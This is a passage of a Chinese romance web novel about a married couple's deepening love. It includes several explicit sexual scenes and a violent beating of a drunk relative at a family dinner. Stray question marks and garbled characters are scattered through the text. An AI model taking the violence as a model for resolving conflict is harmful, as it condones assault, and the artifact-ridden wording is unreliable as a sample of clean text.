祁景之?在警局的朋友查了沿路监控,然后?把路线报给池靳予,猜得没错,她的确是回家?了。 池靳予暗自松了口气,虽然她不接电话,但只?要肯回家?就没大事。 等红绿灯时,他拿手机调出家?里监控,正好?看到她下车。 龙湖还是艳阳高照,市中心已经灰蒙蒙了,天色也暗下来。 车机播报半小?时后?东西城区局部小?雨。 池靳予把手机放到支架上?,保留着监控界面,看见她绕过后?院,鱼池,呆了几秒钟,然后?从?石桌下的储物?柜里拿了袋鱼食。 男人无奈勾唇,看样子又得撑死几条。 这一池全是上?万一条的名?贵鱼,还有千金难求的稀缺品种。 比起小?橘,这些鱼更像他精心养护的孩子。 算了,只?要她开心。 南惜喂完鱼,站在院子里仰头看天色。 灰蒙蒙的天不知道有什么,她认真?看了许久,然后?抬手遮挡。 下雨了。 雨越来越大,她没有回屋,直到监控镜头被雨帘覆盖,天色也被乌云覆盖,三四?点变得像晚上?。 池靳予看不清她,只?剩一道模糊得叫人心疼的影子。 车速加快,他眼底墨色奔涌。 * 南惜不记得自己站了多久,上?次这样淋雨还是分手的时候。 她想把那股莫名?其妙的情绪都冲走,明明一切都好?了,为什么还要这样捉弄她。 一把黑色雨伞将她和雨帘隔开,空气中全是雨的味道,和她被浸透的寒气,闻不见那股熟悉的沉香味,也感?受不到一丝温暖。 直到那只?手握住她。 场景似曾相识,脑海中晃过什么,她没有抓住,朝他扯出一个难看的笑:“你回来啦。” 浑身湿透的她被拥入怀中,男人嗓音发哑,带着颤抖:“傻姑娘。” 开了暖气的屋里,池靳予给她裹上?厚厚的毛毯,一向被用来温茶的炉子上?,煮着驱寒的红糖姜汁。 南惜望着圆墩墩的高硼硅玻璃茶壶里,红色的水咕噜冒泡。 池靳予倒了一杯放到她面前,提醒:“先别喝,烫,拿着捂捂手。” 南惜两只?手捧着杯子,吸了吸受冻发凉的鼻头,瓮声瓮气:“我那天,好?像看到余特助了。” 男人把吹风档位调小?,温柔嗓音清晰地?传过来:“哪天?” “就是,池昭明出轨那天。”南惜望着他。 她想起来了,那天她也在路边淋雨,一个陌生男人来给她撑伞。 那个人就是余沭阳。 池靳予勾了勾唇:“是吗?” 南惜不肯错过他脸上?每一秒表情:“你是不是在附近?” 继续吹了一会儿,直到她头发干得差不多,池靳予才关掉吹风机,放到旁边。 “是。”他双眼凝住她,“我让他去的。” “为什么?”南惜抓住他袖子,哽声,“连你都觉得内疚吗?” 全世界都知道他池昭明对不起她,她也以为,那已经是一个男人最没有底线,最卑鄙无耻的行为了。 池靳予没有说话,低头吻住她,他的唇比暖气还要热,像淬了火,碰到的地?方?瞬间燎原。 池靳予将她抱得很紧,吻得很深,直到眼睫和双颊沾染到湿意。 额头抵着额头,放开她,心疼得嗓音都快碎掉:“别哭。” 南惜闭上眼,泪如雨下。 她明明已经接受了背叛,把过去埋葬起来,虽然不堪回首,但好?歹有个墓志铭。 如今却有人告诉她,一切都是假的。 只?有她真?正喜欢过,痛苦过,费心费力地?遗忘过。 她像个傻子一样被那对母子耍了二十年。 他们要的从?来只?是她的身份。 “是我很贱吗?”她的声音融在哭腔里,模糊得像要消失,“他说一直都是我主动缠着他,他勾一勾手我就会过去,他轻而易举,就能让我为他做任何事。” “他说是我傻,一个男人是不是真?心喜欢我都分不清楚,他也从?来没说过喜欢,我就那么贱,傻乎乎跟着他。” “他说如果我不是南家?的公?主,他看都不会多看我一眼。” “他说从?一开始,他就只?把我当个笑话。” 女孩的头深深埋进他颈窝,瞬间领口湿了一片,“我是笑话吗?” 男人眼底通红,颤抖得说不出话,只?是在她发心一下下地?吻。 她深吸了一口气,哭声夹着自暴自弃的嘲讽:“我是个笑话,这二十年都是个笑话。” “别这么说。”气声沉哑,几乎要低到尘埃里去,仰视她,托起她,不要让她再往下掉。 “可能除了南家?这个身份,我就是一个很糟糕的人,所有人都不喜欢我,甚至厌恶我,但他们只?能供着我,宠着我。就像池昭明一样,整整二十年,即便烦死了也要忍受我,因?为只?要跟我结婚,他就能得到他想要的一切。”她笑了一声,比哭还难听,“我明明知道没有几个人真?心待我,为什么还是会难过?” “池靳予。”她叫他,嗓音轻得如烟一般,随时要飘散,“我是不是不配?” “不是。”他也哽声。 她沉浸在自己的世界中央,隔绝一切,也听不到他的声音:“我是不是不配被喜欢,不配被爱?” 她的唇被温柔含住,无比珍惜地?亲吻。 像被当成易碎的宝贝,疼惜,膜拜,捧在手心。 直到她的知觉逐渐回暖,能感?受到,能听到,能凭着本能浅浅回应他的吻。 “别这样想。”鼻息交缠,额头相抵,他的眼深深望进她迷茫的眸中,“别这样,我爱你。” 她仿佛被什么困住大脑,失去了思?考的能力,时间和空气都被冻结在这一刻。 “南惜,我爱你。”他虔诚地?亲吻她,目光真?切,明亮,不含半分杂质,“听到了吗?” 她鼻头一酸,又开始哭。 池靳予耐心吻掉她的眼泪。 不知道说了多少遍爱她,直到她泪腺干涸,又或许是没力气再哭,软软地?靠在他怀里。 水凉了,他倒掉一些再兑进来一些,反复尝试到刚好?的温度,喂她喝完一杯,再重新抱住她。地?暖覆盖的羊绒毯上?,两个人静静相拥坐到天黑。 雨停了,院内灯光也亮起来,仿佛一切又回到岁月静好?的时候。 小?火苗不急不缓地?燃烧,炉子里的水一直在冒泡,咕噜咕噜的声音,和空气中燃着淡淡的奶味檀香,有种治愈的舒缓始终安抚她心脏。 南惜说这种香像奶茶,适合冬天,她爱闻。池靳予便买了一整箱,现在家?里全都是这个气味。 原来不知不觉都到冬天了。 十二月,他们结婚已经半年多。 南惜还是觉得恍惚,今天的一切都像梦一般不真?实,她有些茫然地?看他:“池靳予,你真?的爱我吗?” 她知道他应该喜欢她,喜欢很容易,在一起待久了都会有感?情,哪怕一只?小?猫小?狗,更何况是人。 他会为她吃醋,一定?是喜欢的。 这么久了她可以确定?,也没有矫情到去深究到底有几分喜欢。 她以为这样已经足够。 联姻的感?情,哪能奢求那么多。 可他就舍得给她那么多,多到她好?像装不下。 “我从?不说假话。”池靳予握着她的手,用力,掌纹脉络都随着体温清晰地?印上?。 她笑了,眼底红晕和水光未褪,目光却像以往一样清澈流动:“什么时候?” “不知道。”他的手穿进她发间,温柔地?捋,万千发丝如同他诉之?不尽的浓情,“这种事哪能说得准。” 感?情的变化是没有清晰界限的,她太了解这种似是而非,似真?似幻的沦陷。 就像那天她突然意识到自己喜欢上?他,就已经是一只?误闯入笼子的鸟,找不到出口。 而当他说爱她的时候,就像有一个人,心甘情愿陪她关进来,并且亲自上?了锁。 那种感?觉太美妙,她忍不住一直回味,脑海始终重播着他说那句话时的表情,语气,他眼中每一缕光的色泽。 奇怪,那时她明明在哭,可却记得那么清楚。 心口像春风吹皱的湖面激荡,她仰起头,携着柔柔的娇纵:“那你再说一遍好?不好??” 唇被咬住,男人笑声低沉,喑哑抵入她齿间:“老婆,有点贪心。” 70-80 第71章 第 71 章 她格外?热情地回应, 池靳予停留在?她腰间的手因为克制而紧握,哑声:“在?这儿?” 换季刚买的三万一张的羊绒地毯,还没?有做过, 但车里十多万的座椅套也换过了。南惜仰头, 唇贴上他脖颈中央那性感的一颗,感觉到男人缩紧的呼吸和那一瞬滚动, 满意得心口膨胀,发热,有什么东西?昏昏的上头。 她伸出舌尖,若有似无地勾了一下,嗓音娇而媚:“不行吗?” 他捏着她下巴抬起?来, 因为急,力道甚至算得上粗暴,像在?吃她的唇。 另一只手把暖壶下的油灯取出,用手扇灭火苗。 然后将人压到绒毯上。 心意交融的一次,她从头至尾都热情, 甚至妄图掌控。 男人沉重的身体却任由她翻过去?。 前前,后后, 随着她并?不熟练的技巧,落在?他胸膛的发梢也散乱得毫无章法。 “乖乖, 想磨坏我?”气声之?下涌着湍急的暗流,手掌轻轻一捞, 将她摁下来。 短暂施舍给她的掌控权被收回,她的小船又失去?平衡, 翻倒在?浪潮迭起?的大海中央。 最淋漓的一次, 她一边哭一边亲他。 男人将她紧摁在?怀里,灼人的温度几乎撞晕她昏沉的脑袋。 抵进去?, 颤抖着,沉哑嗓音直勾到她心脏:“惜惜,我爱你。” 她被他抱上楼,洗了个澡,拥着被子缓过来。 浴室里水流不停,南惜用被子把脸蒙住,脑子里歇下去?的那阵声音又开始飘来飘去?。 在?他面前强压着无法宣泄的情绪,滚了几圈依旧漫溢。 脑袋拱出被子,乱蓬蓬的也顾不上,捞过手机,给祁书艾发微信:【在?不在?在?不在?在?不在?!】 祁书艾:【不出意外?我未来几十年?都在?。】 【干嘛?白天抛弃我不是挺果?断吗?哼!】 南惜现在?混乱上头,自动忽略她阴阳怪调的字眼,手指如飞:【有人跟我表白了……】 【呜呜呜呜怎么办!】 【我现在?满脑子都是他,我废了,刚刚还跟他大do一场,而且很主?动!】 祁书艾:【……】 【你婚内出轨?】 【池靳予知道吗?】 【祖宗,你干出这种事儿,你是要我背叛你还是背叛职业道德?你让不让我活了?】 【艹】 【等我想一下怎么救你!愁人!】 南惜被她一连串消息砸懵,才反应过来:【不是。】 【不是这样的。】 【他知道。】 祁书艾:【……】 【节哀。】 南惜:【!!!你乱想什么啊。】 【是池靳予。】 她咬咬唇,耳朵都热了:【他说他爱我。】 祁书艾:【哦。】 南惜:【……】 这人怎么这么淡定? 祁书艾:【全世?界都看出来他爱你。】 【他能忍到现在?才说,也是个人才。】 南惜朝水声哗啦的浴室瞄了眼:【是么?】 祁书艾:【池昭明那狗东西?利用你你看不出来,你老公那么爱你你也看不出来。】 【我以为你知道,没?想到你是真傻啊。】 【也是,偶像剧里霸总都喜欢傻的。】 南惜:【……】 【我不傻!】 【我就是觉得商业联姻,我压根没?往那方面想。】 【还说我,薄慎白天找你干嘛?】 祁书艾:【别提那个老男人。】 南惜:【……】 薄慎是老男人,那池靳予是什么? 祁书艾这话?干得漂亮,她竟无言以对。 不算虚岁,池靳予过完年?也三十了。 人对于年?龄的概念总是会变化,小时候觉得十八岁就是大人,但现在?回想起?十八岁干的那些事儿,幼稚愚蠢到不行。 或许等她三十岁,到池靳予如今的年?龄,应该也会觉得自己正年?华,看此刻的她像个小孩。 池靳予还是不放心,怕南惜情绪不好,毕竟昨晚才哭那么厉害。 一早给余沭阳打了电话?,不去?公司,在?家?办公陪她。 客厅换了张新绒毯,南惜靠在?他肩上看电脑屏幕上复杂的数据报表,和天书一般的程序代码,这些他从来不会刻意避着。 南惜一开始也觉得别扭,池靳予说他们是夫妻,她作为妻子知道他公司的一切情况,都是理?所应当。 他在?她面前没?有所谓的商业机密。 可南惜分明记得他们的婚前协议里写着,各自财产归各自所有,包括婚后一切收入,工作上他们互不干涉,自负盈亏,保持距离。 不知道从什么时候开始,原先说好的都变了。婚姻里掺杂了感情,很多事情都变得混淆不清。 她竟然会喜欢这样的感觉。 和他成为一体,再也不会分开的感觉。 南惜上午爱犯困,陪他工作了会儿,就听着茶壶沸腾的咕噜声入睡。 睡着时靠在他肩上,醒来时人到了沙发里,盖着毛毯。 池靳予在?厨房做午饭。 只要两个人单独在?家?,他都会亲自做饭。但如果?有客人,就会叫崔姨。 他好像不愿意做给别人吃,哪怕是薄慎。想到这,心底又漫起?一阵甜。 南惜叠好毛毯走到厨房,从背后抱住男人。 他在?给刺身切片,厨房没?油烟,空气中只弥漫着刺身微甜的淡腥,和蒸箱偶尔溢出的咸香味。 她睡着,他怕油烟机吵到她,一定是这样。 这男人向来心思细腻。 切好的三文鱼和北极贝薄片,整齐地码到盘子里,精致的日式青花小蝶装料汁,芥末被他挤出花瓣形状。 南惜真心觉得他的手艺半点不比米其林大厨逊色。 她的小x书收藏夹有一个美食系列,但凡她收藏过的,他几乎都学会了。 原来他爱她早已渗入到细枝末节,只是她大大咧咧,从来没?放在?心上。 有人按门铃,他手里正煎着蛋皮,侧过头亲亲她:“应该是快递,去?拿一下。” “哦。”南惜放开他转身出去?。 熟悉的快递小哥帮她用推车把快递推进来,再取走上次的空推车。 以前池靳予不网购,东西?都是余沭阳买好送来,自从南惜住到这儿,经常会有一箩筐快递。 能往这幢别墅里送快递,快递公司都乐呵了,专人服务还提供推车。 南惜道谢,关院门,这次箱子不太多,她一起?抱进了屋。 里面有她买的情侣手机壳,情侣睡衣,给池靳予的内裤,袜子,还有一些补给的套。 自从那次他买了一大堆花里胡哨功能的套,南惜再也不让他买了。 两人需求量太大,每次她都按囤货标准买,却还是不停复购,都成店铺的钻石会员了。 这次下单居然还送了会员礼物。 南惜拿起?那一支赠品,沉默端详着,摆好午餐的男人走过来。 看到她手里的东西?,蹲下来笑了一声。 南惜没?来得及藏,原本中规中矩的东西?到他手里,顿时变得袖珍。 他云淡风轻地口出惊人:“没?我大,你用得惯?” “……”南惜羞恼地瞪他一眼。 “电动的是吧?”他摁下硅胶顶部那个小开关,“都什么功能?” 伸缩,摇摆,螺旋,不同?强度档位。 他嫌弃地关上,满眼轻蔑:“有我不会的?” “……池靳予。”南惜往他胸口捶了一下,哭笑不得,“你就不害臊吗?” 每次都能面不改色地说这种话?,怕是全世?界除了她,没?人知道温雅端方的池先生,私底下竟然是这种黄话?连篇的男人。 “先吃饭。”他扔掉被他判定为不中用的东西?,直接把她从地上抱起?来,“如果?你想用,吃完饭我们试试。” “不想用!”南惜红着脸解释,“那是店铺送的赠品。” “那我呢?”他坐到椅子上,抱着她,意图明确地捏着她下巴,“你想不想用?” “……现在??” “嗯。” “要吃饭了。” “不耽误。”他变戏法似的,从兜里拿出一盒,“都可以吃。”上面吃,下面也吃。 南惜眯眼咬着唇,轻哼着揍他肩膀的时候在?恍惚,他们真的结婚半年?了吗?怎么那种新婚燕尔欲罢不能的荒唐冲动还是没?消退? 他依旧随时在?兜里揣一盒,走到哪,用到哪,她也愿意陪他胡闹。 客厅,厨房,影音室,健身房,前院广场和鱼池边,后院竹林里,楼上跑道似的长长露台,他曾经抱着她从一端走到另一端,还有楼顶的空中花园,他说她简直能浇花,来年?要补刷一遍防水漆…… 此刻他一边喂她吃午饭,另一边也喂她前菜。前菜口味清淡,节奏舒缓,她觉得挺舒服,食欲也不错。 直到她一张嘴饱了,男人从领口开始,逐一扯开衬衫扣子,将她摁紧,到底,严丝合缝:“该我吃了。” 南惜抱着他肩膀,指甲又开始无意识地划他后背。 “想要什么模式?嗯?” “不说话?,我一样样来?” 偶尔她一阵恍惚,好像真是个电动的,只要按下开关就不知疲倦,永远用不完的力气,也不会懈怠不需要休息。 一会这样,一会那样,花样迭出,她除了叫和哭连一个字都说不完整。 可灼人的体温和真切的肌理?脉络又将她拉回现实?…… 等一切平静下来,他亲着她雪白泛红的脖颈,脸深埋进去?:“元旦过后,我把他弄到非洲,你不会再见到他。” 南惜吸了吸鼻子,浪潮过后的余韵融在?轻颤的尾音里:“嗯……” “爸说让他在?家?过个新年?,也算是对不肖子仁至义尽了。以后让他自生自灭,不会再管。” “老公。”明明是很开心的事,她却莫名心口滞涩,“我没?有很在?意他,你别这样。” 看着她被前男友纠缠不清,看着她心情为往事而波动起?落,他非但不生气,还要哄她,还要为她解决掉池昭明。 以前她把这些理?解为占有欲,可如今知道他爱她,这样的池靳予让她觉得……有点卑微。 她不想他爱得这么卑微。 “是我看不惯。”他温柔啄着她唇瓣,“我不喜欢他三天两头在?你跟前晃,碍眼。” 南惜回应他,笑眼璀璨:“吃醋吗?” “是。”他哑声承认,“我非常吃醋。” 第72章 第 72 章 南家一直有过圣诞节的传统, 而且过得很隆重。 每年圣诞节前几天,主楼附近的路沿,阶梯, 水池边, 每一棵树,楼房轮廓, 全都被?挂上绚烂的串灯。 龙湖背后的山上,提前一个月开始检修布景灯。数万盏变色灯泡,为了节约能源,平时都关着,每到节日开起来?, 比城市夜景还阔气。 南俊良会在客厅装饰一棵圣诞树,挂满的礼物她?和祁景之分。 祁景之仗着身高和力气,从小都抢得比她?多。 这?种时候他不会让着她?。 南惜并不和他计较,毕竟平时,自己被?爸妈宠得更多, 祁景之也没有与她?计较。 今年她?结婚了,平安夜不回龙湖。 这?天她?还去了公司, 年底核账,已?经连着忙许多天, 晚餐和部门员工点的外卖。 回家已?经快九点了。 停好车,走过鱼池, 映入眼帘的是一棵两米高的圣诞树。 彩灯闪烁,像无数星星落入眼眶, 树枝上挂满数不清的礼物盒子。 双脚如同被?钉在原地?, 她?一时间忘了出声,甚至也忘了呼吸。 直到温热的怀抱从背后搂住, 男人与她?望着同一片灯影,呼吸融进她?发间:“以后所有礼物都是你的。” 她?眼眶温热,弯起唇笑。 下巴被?轻轻抬起来?,更浓郁的星芒夜色占据她?整个世界:“不会再有人跟你抢。” 脸颊落下片片冰凉,她?转过身,手捂住他冻红的耳朵:“老?公,下雪了。” “下雪了。”男人低下头,雪花沾在他头发和睫毛,在两人轻触的唇间融化,像虔诚誓言的见证,“惜惜,我们白头到老?。” “嗯。”南惜踮起脚,学着他平日的样子,唇瓣轻轻落在他额头。 听说?这?样代表珍惜。 她?也想要珍惜他,给他毫无保留的庇护。 * 屋内开着暖气,在落地?窗前的地?毯上纠缠两次,南惜才?被?他抱去洗澡,睡觉。 半夜醒来?,她?下意识抬手去探,人果然不在身边。 如果他在一定会抱着她?睡。 雪还没停,天黑得彻底,墙上LED挂钟显示着03:15。 南惜起身穿上睡裙外披,迷迷糊糊地?走到亮着光的书房。 里面传来?男人的声音,流畅的英语,透着贵族气质的醇正英伦腔,语气带着他本人特有的慵懒和随意。 大半夜开会,那边的人也不过节吗? 南惜努了努嘴,有点不开心?自家老?公这?么忙碌,一边腹诽那帮外国人不懂事,一边下楼去厨房,切了盘水果,倒杯热牛奶端上来?。 池靳予工作的事从不避她?,她?也没出声打扰,直接端着盘子推门进书房。 看见她?的时候,男人眼神稍稍惊讶,嘴边话也停顿,对?面问怎么了,他回答:“Sorry,My wife''''se in.” 南惜把盘子放到桌上,准备走,他按下按钮关掉摄像头,朝她?勾了下手指。 一句“继续”,他已?经把人拉到腿上。 嘴里道貌岸然讲着工作,条理清晰,用词精准,专业果断,手却干着无法?言说?的事。 南惜怒瞪他,却被?包裹着,捏着,看着这?人用口型告诉她?:“别出声。” 南惜羞愤难耐,咬着牙关,一时胜负欲上来?。 他的衬衫扣子崩到地?上,呼吸也跟着一紧,深邃眸底暗色涌动,浑身都热起来?。 南惜不管那么多,一鼓作气,直接上最酷的刑。 池靳予绷着脸按住她?手,低声:“别闹。” 南惜用口型回敬他:“你先闹的。” 当这?人拉开手边抽屉,她?终于察觉到危险。 他不会要在开会的时候…… 南惜瞪大眼,推他。 他一只手箍紧她?,不准她?跑,另一只手拿着袋子,直接用牙齿咬开封口。 然后对?着电脑叫了个下属名字,对?方上麦汇报,他摁下静音键。 碍事的布料全被?扯开。 真皮转椅的响声,融在汗里的水声,女孩柔软的求饶都在给电脑那端激情洋溢的外国文?字做背景音。 偶尔停顿,辛苦耕耘的男人解除静音,清醒沉着地?发表两句。 谁也猜不出他在做什么。 等静音键按下,午夜节目继续,南惜再咬着他又叫又哭。 趴在两米长的实木办公桌上,面前是她?亲自端来?的水果盘,几颗葡萄被?震得滚落出来?,身后的人坏得不行:“乖乖,拿一颗给我吃。” 她?撑着桌沿,一松手腰塌下去,葡萄也滚得越来?越远。 一只手把她?捞起来?,另一只手轻而易举地从盘子里拿了一颗。 剥过皮的晶莹剔透的葡萄肉,此刻她?后悔自己干嘛要对他这么体贴。 吃进去的又送到她嘴里,他怕她?呛着,停下来?,等她?吃完两颗才?继续。 喊哑的嗓子浸过葡萄的甜汁,润了,尾音都沁着甜。 男人眼底烈火燃烧。 会议被?提前叫停。 第二觉早上六点才?睡,她?累极了,如昏迷一般的酣眠直到午后。 池靳予靠在旁边,腿上搭着笔记本电脑。 想起昨夜,南惜幸灾乐祸地?哼了一声:“活该,不好好工作,周末要加班。” 他把电脑搁到旁边,翻身抱住她?:“我乐意。” “……别来?,我都肿了。”南惜屈腿抵着,手脚并用,“你真的不要工作吗?公司没了我才?不养你。” “真肿了?”他低笑,“摸摸看。” 南惜笑骂他:“滚。” 手机铃声打断两人的闹腾,南惜往枕头旁瞥了眼,竟然是祁景之。 这?家伙还记得祝她?圣诞节快乐?昨晚连个红包都没有,不知道去哪快活了。 南惜带着情绪接听,闷不做声。 男人脸埋在她?胸前,被?她?抓住头发瞪了一眼。 他却更过分地?上嘴。 她?咬住唇吸了口气,捂住听筒悄声对?他说?:“我哥,你不要命啦?” 池靳予虽然不怕祁景之,但跟她?也不差这?一小会儿,没必要惹大舅子生气。不情不愿地?从她?身上下来?,改为搂着她?的姿势。 屋里安静,祁景之懒散又得意的声音同时传到两人耳朵里:“告诉你一声,你哥结婚了。” 南惜倏地?瞪圆眼睛。 “以后跟你哥说?话注意点儿,别一口一个单身狗老?光棍儿。”祁景之语调快扬到天上去,和太阳肩并肩,“我,有,老?,婆,了,懂?” 南惜好像彻底失语,只张了张口,没一点声音。 池靳予拿过她?手机:“她?说?听到了,恭喜。” 祁景之呼吸稍顿,“艹”一声:“你个畜生,你把我妹怎么了?她?干嘛不吱声儿?” “我老?婆,您说?呢?”池靳予无赖地?勾着唇,“哥,您也结婚了,这?种事儿还要我向您交代?” “畜生。”祁景之咬牙切齿骂了句。 南惜是结婚了,结婚半年多,可?他依旧偶尔会恍惚,总觉得她?还是那个跟在他后面跑的小丫头,不允许任何?人碰她?,欺负她 ?。 “这?话我还您。”池靳予毫不在意被?他骂,笑容更甚,“新婚快乐,大舅子,改天请您和嫂子吃饭,我和我老?婆还有事儿,先挂了。” “我靠你能有什么事儿?你敢欺负她?——” 池靳予直接掐了电话,把手机放到自己那边:“什么时候请你哥和嫂子吃饭?你定。” “你怎么这?么冷静?”南惜依旧恍恍惚惚的,眼神都呆滞,“他这?人说?结婚就结婚,也没告诉爸妈,结婚这?么大的事儿他一拍脑门就决定了?” “也不是一拍脑门。”池靳予握住她?的手,安抚她?激动的心?情,“他和顾鸢兜兜转转这?么多年,好不容易才?走到今天,要还结不了婚,那这?辈子也就这?样了。” 南惜怔怔地?抬头:“他和顾鸢到底怎么回事?” 池靳予叹了叹,搂紧她?:“景之误会顾鸢喜欢我,以为当年我们俩都去英国,是背着他约好的。” “所以这?些年你和我哥关系才?这?么僵?” “是。”他点点头,“高中?时他们就互相有意,景之以为等毕业,顾鸢就会和他在一起。那时正好顾鸢得知她?只是普通人家的女儿,和祁景之云泥之别,就狠心?拒绝他,去了英国。” 南惜听得心?口堵塞,难受得紧。 门第家世就那么重要吗? 她?越想越不甘心?,但也知道,很重要。 别说?顾鸢只是普通人家的女儿,就算她?这?辈子都作为顾家养女活下去,在世俗眼中?也够不着和祁景之并肩的一点点资格。 也许如果他们当初排除万难在一起,爸妈反而不会同意,就像得知她?身世后立马解除婚约的薄家长辈。 他们这?些人的婚姻,首先看重的永远是利益,两情相悦只不过锦上添花。 可?祁景之早已?放言不结婚,活生生把自己熬到这?岁数。 比起儿子孤独终老?,就算他从大街上随便薅一个女人结婚,爸妈都会欢天喜地?地?接受。 虽然唏嘘,但一切都是最好的安排,这?条路终究让他们走出来?了。 “你哥一根筋,顾鸢又傻,他们俩要么在一起,要么各自孤独终老?,不会将就。” 南惜抬起头,额头蹭到他下巴,瓮声:“我和我哥一样。” 男人亲亲她?鼻尖,若有所思?:“是么?” 南惜深深地?望进他眼底,满眸粲然的光:“嗯。” 除非背叛,否则不撞南墙不回头。 池昭明就是那堵墙,撞得很惨,她?一度以为自己再也没力气喜欢上另一个人。 ?池靳予似乎读懂她?心?里话,握住她?手,放到自己心?脏的位置。 那里触觉温热,沉稳有力,始终规律地?跳动,像是蓬勃的生命力攥在她?掌心?: “听到了吗?” 她?鼻尖酸涩,泪意汹涌:“嗯。” “它会一直为你跳,也只为你。”滚烫的唇落在她?额头,誓言掷地?有声,“惜惜,我永远不会负你。” 第73章 第 73 章 元旦池家家宴, 是南惜最后一次见到池昭明。 来的人挺多,大部分南惜只有两面之缘,一次订婚, 一次婚礼, 都不记得谁是谁。 唯一印象较深的是池靳予表姐和外甥女晴晴,婚礼那天, 南惜送给晴晴一条飘糖色的翡翠镯,家宴晴晴还戴着,配一条薄荷绿公主裙。 一进门,就?亲热地?喊着舅妈过来抱她。 南惜蹲下和小姑娘贴贴:“我们晴晴小公主又漂亮啦。” “舅妈小公主也漂亮。”晴晴对着她侧脸亲了一口。 南惜“噗嗤”一笑,轻轻刮了刮她鼻头:“嘴这么甜, 是不是偷吃糖糖了?” “舅妈闻闻看。”小姑娘说着又想亲她。 嘟着嘴巴还没凑过去,被人从后面一搂腿,抱起来。 晴晴不悦地?扭头看是谁,对上那人的脸,瞬间?乖巧:“舅舅……” “随便亲人谁教你的?”池靳予一脸严肃, “在学校也亲男生吗?” 晴晴大声:“没有!我只亲女生!” “女生也不可以随便亲。”池靳予义正辞严。 “你这家伙,连孩子的醋都吃?”表姐不客气地?瞪他, “把晴晴给我,别吓着我闺女。” 表姐抱走?晴晴, 池靳予也如愿抢回老婆。 南惜发现他盯着自己?的脸看,不懂他看什?么:“我脸上有东西吗?” “嗯。”男人若有所思?。 南惜抬手要摸, 被他握住,池靳予环顾四周, 这一会儿客厅暂时没人进来, 他低下头,唇贴上去亲了一口。 “……”南惜顿时明白过来, 哭笑不得。 大醋缸!连外甥女的醋都吃。 那以后他们要是有了孩子,是不是也—— 想到这,南惜脸颊热度飙升。池靳予趁周围没人,肆意逗她:“亲一下就?脸红?我还没做什?么。” 南惜羞恼地?要捶他,被握住手,放到唇边,直勾勾望着她,毫不掩饰目光中揶揄和宠溺,还有丝缕的深情。 以前她不信,眼?神真的能表达出爱。 但很多她不信的事,他都做到了。 晚上吃饭,晴晴非坐在南惜身?边,拉着她的手说悄悄话。 池靳予心?里酸的不行,却还要回应长辈亲戚们的奉承。 大家仿佛都忘了南惜曾经是池昭明青梅竹马的未婚妻,也忽略在一旁喝闷酒的池昭明,一个?劲地?夸两人般配,天造地?设,恩爱情深。 池靳予难得喜欢听这样的奉承话,连看着晴晴缠她也顺眼?多了。 宴席过半,大家酒都喝下不少,池昭明无人问津,一杯接一杯,喝得尤其多。 只听他打了个?酒隔,重重地?把杯子砸在桌面上。 所有人都看过去。 喝红了脸的男人,视线笔直地?落向南惜,哼笑一声。 田蕙云察觉到不妙,要过去拽自己?儿子,却没来得及,他已经大着舌头嚷起来:“天造地?设?我呸!” 池靳予面色不动,只低声对南惜说:“让姐带晴晴出去。” 南惜点头,照做,表姐端着晴晴的碗,让姐夫过来抱女儿。 两个?兄弟去拉池昭明,都没拉住,被他搡开,醉酒撒泼的声音回荡在餐厅里:“是他不要脸!抢我女人!他们凭什?么白头偕老?!他们哪里般配了?!” 指头扫过在座所有人,嘲讽:“你们一个?个?,当初也对我说过同?样的话,现在又对着他俩,搞笑不搞笑?你们这帮墙头草不脸红吗?” “池昭明。”池苍山沉声警告,“你失态了。” “我失态!我有你儿子不要脸吗?”池昭明赤红着眼?,似乎有什?么要脱口而出,被田蕙云捂住嘴巴。 “昭明,别说了!”田蕙云急得额头冒汗。 池昭明用力?掰开她手,田蕙云被甩得一个?踉跄。 他全然不顾,站起来摇摇晃晃盯着池靳予,一边惨笑,一边挑衅:“她跟了我二十年,青梅竹马两小无猜,你比得上吗?” “她满心?满眼?都是我,赶都赶不走?的时候,你在哪儿?” “我告诉你,我是她初恋,是她第一个?男人,她永远都忘不了我。哪怕跟你结婚,她也永远记得我!” “你觉得自己?特牛逼是不是?你就?是个?捡破烂儿的,别人不要的你捡回去当个?宝。”池昭明糊了满脸泪,失控大笑,“我大发慈悲,祝你幸福。” 南惜脑袋一直嗡嗡地?响,连呼吸都变得急促,在这么多人的注视下,她觉得自己?好像被扯掉所有的遮羞布,肆意观赏,嘲笑。 嘲笑她二十年的愚蠢和痴傻。 直到那句“祝你幸福”的话音落下,她猛烈预感到什?么,试图去抓身?旁人的手。 却抓了个?空。 池靳予走?向池昭明,一贯温润和气的脸色森冷如索命的厉鬼。 第一拳落在腹部,重得整个?客厅都听见清晰的闷响,甚至盖过池昭明痛呼的声音。 第二拳毫不迟疑地捶烂他嘴角,瞬间?脸肿了一块,牙齿都冒血。 第三拳,第四拳……拳脚相加,快到数不清楚。 池昭明被打蒙,无力?招架,只能凭本能抬手挡。 但很快手也被折了。 他就?像一滩烂泥巴,奄奄一息。 没人敢上去劝,今天池昭明就?算被打死,也没人敢去拉这个?杀红眼?的男人。 最后是南惜走?上去,从背后抱住池靳予,用了她最大的力?气才抱紧他。她能感觉到他的颤抖,和尚未平复的勃然怒气。 “够了,老公。” 如果池昭明真被打死,他也就?毁了。 另一边,田蕙云在对自己?的丈夫哭:“老公,怎么办啊,我们昭明被打成这样……” 池苍山侧过头吩咐管家汪叔:“叫徐医生来。” 田蕙云哭声戛然而止,不敢相信:“你不报警吗?” “他毁掉家宴,大放厥词,让所有亲戚看笑话,警察会管吗?你的儿子是人,我长子长媳就?该任他胡乱指摘?”池苍山用力?搁下酒杯,眼?底发冷,“你要报警,就?跟他一起去非洲。” 南惜见池靳予又往前一步,吓得呼吸一紧,慌忙拽他,反被握住了手。 池靳予停在半米外,落到池昭明身?上的目光如同?看一个?死物,语气阴冷,藏着刺骨的狠:“有意见冲我来,再敢提她一个?字,我让你没有机会说话。” 语毕,转头平静地?望着众人:“抱歉打扰各位雅兴,我带我妻子先?走?一步。” 他牵着南惜,径直走?向电梯厅。 手上、身?上都是池昭明的血迹,池靳予回到三楼便进了浴室。 南惜等着他,一等就?是一个?多小时。 当众揍池昭明,他心?里一定?也不好受。 她无法?想象是怎样的愤怒能让一个?从来冷静自持,情绪内敛的男人在这样的场合失控,让一个?沉稳儒雅的男人用拳脚去解决问题。 有几个?瞬间?,她以为池靳予想杀了他。 她知道那可能不是错觉,是他奋力?遏制住魔鬼般的情绪。 一个?半小时了,浴室水声还未停,南惜有点担心?,去敲门。 “老公,你还好吗?” 玻璃门突然打开,她停在半空的手被握住,紧接着整个?人被拽进去。 密集的水蒸气熏得她脑袋发晕,没回过神,已经被放在盥洗台上。 